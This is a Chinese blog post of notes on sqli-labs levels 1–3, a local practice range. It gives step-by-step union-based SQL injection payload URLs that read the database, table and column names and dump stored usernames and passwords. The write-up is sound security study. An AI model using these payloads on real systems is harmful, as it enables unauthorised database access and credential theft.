sql靶场笔记

本文详细介绍了SQL注入攻击的步骤和技巧,从第一关到第三关,逐步展示了如何利用单引号闭合、联合查询、信息_schema表来探测数据库、表及数据。通过输入特殊字符,观察回显,确定数据列数,最终获取用户名和密码,揭示了SQL注入的常见手法和防范措施。
摘要由CSDN通过智能技术生成

第一关

1、判断闭合符号
通过提交

?id=1、?id=1 and 1=1、?id=2

发现有回显
在这里插入图片描述
在id后面加入反斜杠发现是单引号闭合
在这里插入图片描述

在url中加入单引号出现报错
在这里插入图片描述
2、即单引号字符型注入,我们可以使用order by X来获取列数(例如:id=1‘order by 1–+这条语句的意思是查询users表中user_id为1的数据并按第一字段排行)
而我们在输入id=1’ order by 4–+的时候报错,那么说明数据有三列。
在这里插入图片描述
3、接下来我们使用 union select 联合查询查看当前的数据库(union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询)
即:id=-1’ union select 1,2,3–+也可以(id=1’ and 1=0 union select 1,2,3–+)目的就是使union前的查询无返回结果从而返回到执行联合查询的结果
在这里插入图片描述
判断出数据在2,3列
4、对数据库和表进行注入获取数据
先查询当前数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select database()),3--+

在这里插入图片描述
然后我们用group_concat()函数查看库中有哪些表:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

information_schema:是数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
在这里插入图片描述
也可以在第三列里爆出表名:只需把union语句放到3的位置就行
在这里插入图片描述
5、查看users表里面的内容

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+

在这里插入图片描述
6、查看用户名和密码

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users)--+

在这里插入图片描述

第二关

1、查看回显
依旧是输入?id=1、?id=1 and 1=1、?id=2
后面加入反斜杠
在这里插入图片描述
发现可以不用闭合直接查询
那么就跟第一关一样了,只不过不用加单引号。
2、使用order by
发现有三列
3、用union联合查询

?id=-1 union select 1,2,3--+

4、查看数据库

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

5、查看表中内容

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+

6、获取用户名和密码

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,(select group_concat(username,password) from users)--+

第三关

1、首先输入反斜杠,发现是单引号括号闭合
在这里插入图片描述
2、order by查询
发现依旧是三列
3、联合查询

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') and 1=2 union select 1,2,3--+

4、注入获取数据库和表的数据

http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+

5、查看user表里的内容

http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+

6、查看用户名和密码

http://127.0.0.1/sqli-labs-master/Less-3//?id=-1') union select 1,2,(select group_concat(username,password) from users)--+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值